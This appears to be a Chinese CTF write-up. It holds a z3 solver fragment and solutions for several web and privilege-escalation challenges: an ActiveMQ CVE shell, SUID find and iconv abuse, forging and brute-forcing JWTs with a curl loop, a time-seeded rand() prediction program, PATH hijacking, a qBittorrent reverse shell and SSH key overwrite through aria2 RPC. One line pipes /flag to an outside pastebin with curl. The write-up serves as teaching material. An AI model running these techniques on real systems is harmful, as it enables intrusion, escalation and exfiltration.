s.add( 211 * v24 + 63 * v15 + 176 * v5 + 169 * v16 + 129 * v27 + 146 * v40 + 111 * v26 + 68 * v42 + 39 * v25 + 188 * v23 + 130 * v9 + (v31 * 64) + 91 * v41 + 208 * v20 + 145 * v39 + 247 * v18 + 93 * (v22 + v17) + 71 * (v6 + 2 * v11) + 103 * (v8 + 2 * v30) + 6 * (v21 + 10 * v28 + 28 * v7 + 9 * v29 + 19 * v2 + 24 * v1 + 22 * v3) + 81 * v10 + 70 * v4 + 23 * v19 == 356282 )
v12 = v10 + 2 * (v31 + 4 * (v29 + v17)) + v31 + 4 * (v29 + v17)
s.add( 94 * v42 + 101 * v2 + 152 * v40 + 200 * v7 + 226 * v8 + 211 * v23 + 121 * v24 + 74 * v11 + 166 * v18 + ((v6 + 3 * v28) * 64) + 41 * (4 * v9 + v21) + 23 * (v39 + 11 * v41) + 7 * (v20 + 10 * v25 + 2 * v12 + v12) + 3 * (78 * v30 + 81 * v16 + 55 * v27 + 73 * v1 + 4 * v26 + v15 + 85 * v3 + 65 * v19) + 62 * v22 + 88 * v5 + 110 * v4 == 423091 )
s.add( 133 * v22 + 175 * v15 + 181 * v30 + 199 * v16 + 123 * v27 + 242 * v1 + 75 * v6 + 69 * v2 + 153 * v40 + 33 * v26 + 100 * v42 + 229 * v7 + 177 * v8 + 134 * v31 + 179 * v29 + 129 * v41 + 14 * v10 + 247 * v24 + 228 * v20 + 92 * v11 + 86 * (v9 + v32) + 94 * (v23 + v21) + 37 * (v17 + 4 * v3) + 79 * (v25 + 2 * v28) + 72 * v5 + 93 * v39 + 152 * v4 + 214 * v19 == 391869 )
s.add( 211 * v24 + 213 * v18 + 197 * v40 + 159 * v25 + 117 * v21 + 119 * v9 + 98 * v17 + 218 * v41 + 106 * v39 + 69 * v11 + 43 * (v2 + v29 + 2 * v2) + 116 * (v4 + v10 + v37) + 5 * (v42 + 9 * v23 + 35 * v20 + 37 * v31) + 11 * (v16 + 13 * v27 + 5 * v5 + 8 * v30) + 6 * (29 * v28 + 25 * v8 + 38 * v22 + v15 + 13 * v1 + 10 * v3) + 136 * v7 + 142 * v6 + 141 * v19 == 376566 )
s.add( 173 * v3 + 109 * v15 + 61 * v30 + 187 * v1 + 79 * v6 + 53 * v40 + 184 * v21 + 43 * v23 + 41 * v9 + 166 * v31 + 193 * v41 + 58 * v24 + 146 * v10 + (v20 * 64) + 89 * v39 + 121 * v11 + 5 * (v17 + 23 * v8) + 7 * (29 * v18 + v29 + 4 * v7) + 13 * (3 * v42 + v16 + 7 * v26 + 13 * v2) + 3 * (v4 + 83 * v5 + 51 * v27 + 33 * v22 + 8 * (v19 + 4 * v28) + 18 * v25) == 300934 )
v36 = 3 * v21
s.add( 78 * v1 + 131 * v5 + 185 * v16 + 250 * v40 + 90 * v26 + 129 * v42 + 255 * v28 + 206 * v8 + 239 * v25 + 150 * v10 + 253 * v39 + 104 * v22 + 58 * (v2 + 2 * v7) + 96 * (v15 + v31) + 117 * (v9 + 2 * v4) + 27 * (v17 + 8 * v18 + v18) + 19 * (v23 + 3 * v21 + 4 * v29 + v29) + 7 * (22 * v41 + 3 * (v11 + 11 * v24) + v3 + 29 * v6 + 14 * v27) + 109 * v20 + 102 * v30 + 100 * v19 == 401351 )
s.add( 233 * v19 + 71 * v5 + 209 * v27 + 82 * v6 + 58 * v26 + 53 * v25 + 113 * v23 + 206 * v31 + 39 * v41 + 163 * v20 + 222 * v11 + 191 * v18 + 123 * (v7 + v40) + 69 * (v9 + 2 * v22 + v22) + 9 * (v3 + 8 * v24 + 7 * (3 * v1 + v28) + 5 * v16 + 19 * v30) + 4 * (v15 + 26 * v17 + 61 * v29 + 43 * v42 + 49 * v2 + 32 * v4) + 10 * (7 * (v8 + v36) + v39 + 12 * v10) == 368427 )
s.add( 139 * v30 + 53 * v5 + 158 * v16 + 225 * v1 + 119 * v6 + 67 * v2 + 213 * v40 + 188 * v28 + 152 * v8 + 187 * v21 + 129 * v23 + 54 * v9 + 125 * v17 + 170 * v24 + 184 * v11 + 226 * v22 + 253 * v18 + 26 * (v29 + v41) + 97 * (v4 + 2 * v25) + 39 * (5 * v26 + v27) + 21 * (v39 + 8 * v42) + 12 * (17 * v10 + v31 + 15 * v7 + 12 * v19) + 165 * v20 + 88 * v15 + 157 * v3 == 403881 )
s.add( 114 * v3 + 61 * v27 + 134 * v40 + 62 * v42 + 89 * v9 + 211 * v17 + 163 * v41 + 66 * v24 + 201 * (v7 + v18) + 47 * (5 * v16 + v22) + 74 * (v4 + v31) + 142 * (v2 + v28) + 35 * (v20 + 6 * v26) + 39 * (v15 + 6 * v30) + 27 * (v25 + 9 * v23 + 8 * v6) + 4 * (v21 + 63 * v19 + 2 * (v1 + 12 * (v10 + v5) + 8 * v11 + 26 * v29)) + 10 * (v8 + 4 * v39 + v39) == 382979 )
s.add( 122 * v25 + 225 * v21 + 52 * v23 + 253 * v9 + 197 * v17 + 187 * v31 + 181 * v29 + 183 * v41 + 47 * v20 + 229 * v39 + 88 * v22 + 127 * (v10 + v32) + 37 * (v7 + 3 * v3) + ((v11 + 2 * v30 + v30) * 64) + 7 * (21 * v8 + v27 + 18 * (v4 + v1 + v38)) + 6 * (23 * v24 + v26 + 17 * v2 + 39 * v6) + 10 * (v5 + 11 * v28 + 21 * v42) + 149 * v19 + 165 * v40 + 121 * v15 == 435695 )
s.add( 165 * v20 + 223 * v4 + 249 * v5 + 199 * v1 + 135 * v2 + 133 * v26 + 254 * v42 + 111 * v7 + 189 * v28 + 221 * v25 + 115 * v21 + 186 * v9 + 79 * v41 + 217 * v24 + 122 * v11 + 38 * v18 + 109 * (v34 + v29) + 14 * (v8 + 17 * v40 + 8 * (v6 + v38)) + 4 * (11 * (5 * v30 + v39) + 6 * (v10 + 2 * v22) + v27 + 52 * v17 + 50 * v23) + 229 * v15 + 86 * v3 + 234 * v19 == 453748 )
s.add( 181 * v25 + 94 * v42 + 125 * v1 + 226 * v26 + 155 * v7 + 95 * v21 + 212 * v17 + 91 * v31 + 194 * v29 + 98 * v24 + 166 * v11 + 120 * v22 + 59 * v18 + 32 * (v9 + v8) + 158 * (v6 + v5) + 101 * (v41 + v19) + 63 * (v4 + 2 * v23) + 67 * (v28 + 2 * v20) + 11 * (v39 + 10 * v16 + 11 * v10) + 39 * (v30 + 4 * (v2 + v15)) + 233 * v40 + 56 * v27 + 225 * v3 == 358321 )
s.add( 229 * v21 + 135 * v4 + 197 * v15 + 118 * v5 + 143 * v16 + 134 * v6 + 204 * v40 + 173 * v26 + 81 * v7 + 60 * v28 + 58 * v8 + 179 * v23 + 142 * v9 + 178 * v17 + 230 * v31 + 148 * v29 + 224 * v41 + 194 * v24 + 223 * v10 + 87 * v20 + 200 * v39 + 233 * v11 + 49 * v22 + 127 * v35 + 31 * (4 * v27 + v18) + 42 * (v1 + 6 * v2) + 109 * v42 + 75 * v3 + 165 * v19 == 456073 )
s.add( 41 * v4 + 253 * v3 + 163 * v15 + 193 * v30 + 155 * v16 + 113 * v27 + 131 * v6 + 55 * v2 + 21 * v40 + 53 * v26 + 13 * v8 + 201 * v25 + 237 * v9 + 223 * v31 + 95 * v24 + 194 * v20 + 62 * v39 + 119 * v11 + 171 * v22 + 135 * v18 + 69 * (v10 + 3 * v28) + 211 * (v1 + v29) + 4 * (43 * v7 + v42 + 40 * v17) + 6 * (v5 + 33 * v41 + 20 * (2 * v19 + v21) + 24 * v23) == 407135 )
v13 = v6 + v1 + 8 * v6 + 4 * (v8 + 2 * v27)
s.add( 111 * v19 + 190 * v3 + 149 * v4 + 173 * v28 + 118 * v23 + 146 * v29 + 179 * v10 + 51 * v20 + 49 * v39 + 61 * v11 + 125 * v22 + 162 * v18 + 214 * v35 + 14 * (v34 + v24) + 178 * (v41 + v16) + 11 * (4 * v9 + v21 + 17 * v42) + 65 * (v26 + v17 + 2 * v26 + 2 * v5) + 4 * (v7 + 38 * v15 + 4 * v13 + v13 + 8 * v40 + 43 * v2) == 369835 )
s.add( 27 * v27 + 223 * v6 + 147 * v26 + 13 * v21 + 35 * (v17 + 7 * v4) + 57 * (v19 + v32 + 3 * v11) + 11 * (v1 + 17 * (v9 + v5) + 10 * v16 + 3 * v31) + 2 * (53 * v23 + v25 + 38 * v15 + 43 * v42 + 115 * v29 + 61 * v22 + 111 * (v10 + v40) + 14 * (v20 + v7 + 2 * v7 + 8 * v28) + 109 * v2 + 100 * v41 + 63 * v8) + 93 * v39 + 251 * v30 + 131 * v3 == 393303 )
s.add( 116 * v9 + 152 * v29 + 235 * v20 + 202 * v18 + 85 * (v8 + 3 * v11) + 221 * (v16 + v40) + 125 * (v33 + v24) + 7 * (19 * v4 + 9 * (v10 + 2 * v25) + v2 + 33 * v3 + 32 * v19) + 3 * (71 * v39 + 43 * v22 + 32 * (v17 + v26) + 15 * (v5 + v6 + 2 * v23) + v28 + 74 * v31 + 48 * v42) + 10 * (v21 + 11 * v30 + 16 * v15) + 136 * v7 + 106 * v1 + 41 * v27 == 403661 )
s.add( 127 * v4 + 106 * v15 + 182 * v30 + 142 * v5 + 159 * v16 + 17 * v1 + 211 * v6 + 134 * v2 + 199 * v7 + 103 * v28 + 247 * v23 + 122 * v9 + 95 * v41 + 62 * v10 + 203 * v39 + 16 * v11 + 41 * (6 * v42 + v25) + 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40) + 10 * (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29) + 6 * (23 * v27 + v26) + 213 * v18 + 179 * v3 + 43 * v19 == 418596 )
s.add( 149 * v19 + v1 + 133 * v22 + 207 * v41 + 182 * v26 + 234 * v7 + 199 * v8 + 168 * v21 + 58 * v10 + 108 * v20 + 142 * v18 + 156 * (v9 + v25) + 16 * (v29 + 6 * v31) + 126 * (v17 + 2 * v39) + 127 * (v4 + 2 * v27 + v40) + 49 * (v30 + 4 * v16) + 11 * (v5 + 22 * v11) + 5 * (v15 + v42 + 45 * v24 + 50 * v28) + 109 * v2 + 124 * v6 + 123 * v3 == 418697 )
print(1)
print(s.check())
m = s.model()
print(m)Web
Reverse and Escalation.
上去，发现是 ActiveMQ。
直接找个 CVE Payload 就能 getshell。
注意到 find 有 suid，直接读取 /flag
火箭大头兵
注意到 profile 的字段是拼接放进 ctx 的。
可以构造以覆盖 jwt secret。
直接暴力即可。
for i in $(seq 0 2000); do token=`./jwt_gen $i`; echo $i $token; curl -vv 'http://139.196.108.40:30369/message' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: zh' \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H "Cookie: token=${token}" \
-H 'Pragma: no-cache' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' \
--insecure > tmp2; doneReverse and Escalation.II
一样套路拿到 shell 后，发现 find 是被替换过的。
要我传 arg 进去满足随机生成的等式。
拖下来逆一手。
cat /flag | curl -F "c=@-" "https://fars.ee/"发现随机数由 time 确定，写个程序同时随机即可。
注意到过了条件也之后调 ls。但是是相对路径，那么改一手 PATH 就是了。
/*
* tmp.cpp 2024-02-28
* Copyright (C) 2024 Woshiluo Luo <[email protected]>
*
* 「Two roads diverged in a wood,and I—
* I took the one less traveled by,
* And that has made all the difference.」
*
* Distributed under terms of the GNU GNU AGPLv3+ license.
*/
#include <ctime>
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <vector>
#include <algorithm>
using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;
using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;
inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
T sum = 0, fl = 1;
char ch = getchar();
for (; isdigit(ch) == 0; ch = getchar())
if (ch == '-') fl = -1;
for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
T res = 1;
while( p ) {
if( p & 1 )
res = res * a;
a = a * a;
p >>= 1;
}
return res;
}/*}}}*/
int main() {
srand(time(0));
printf( "find " );
for( int i = 0; i <= 38; i ++ ) {
int v7 = rand() % 23333;
int v6 = rand() % 23333;
printf( "%d ", v6 + v7 );
}
}Whose Home?
上去 qbit，先试试默认密码。
进去了，看看设置，发现邮箱部分是已经填写的。
任意执行反弹 shell 后，可以读到邮箱密码。
同时，iconv 有 suid，可以读到 flag1。
flag2 在别的机子上。
传个扫描器上去开扫。
扫到个 6800。
不放就当他是 aria2 的 rpc server，链接，用 smtp 密码当 token。
发现运行用户是 root，覆写公钥。
ssh 登录，读取 flag 即可。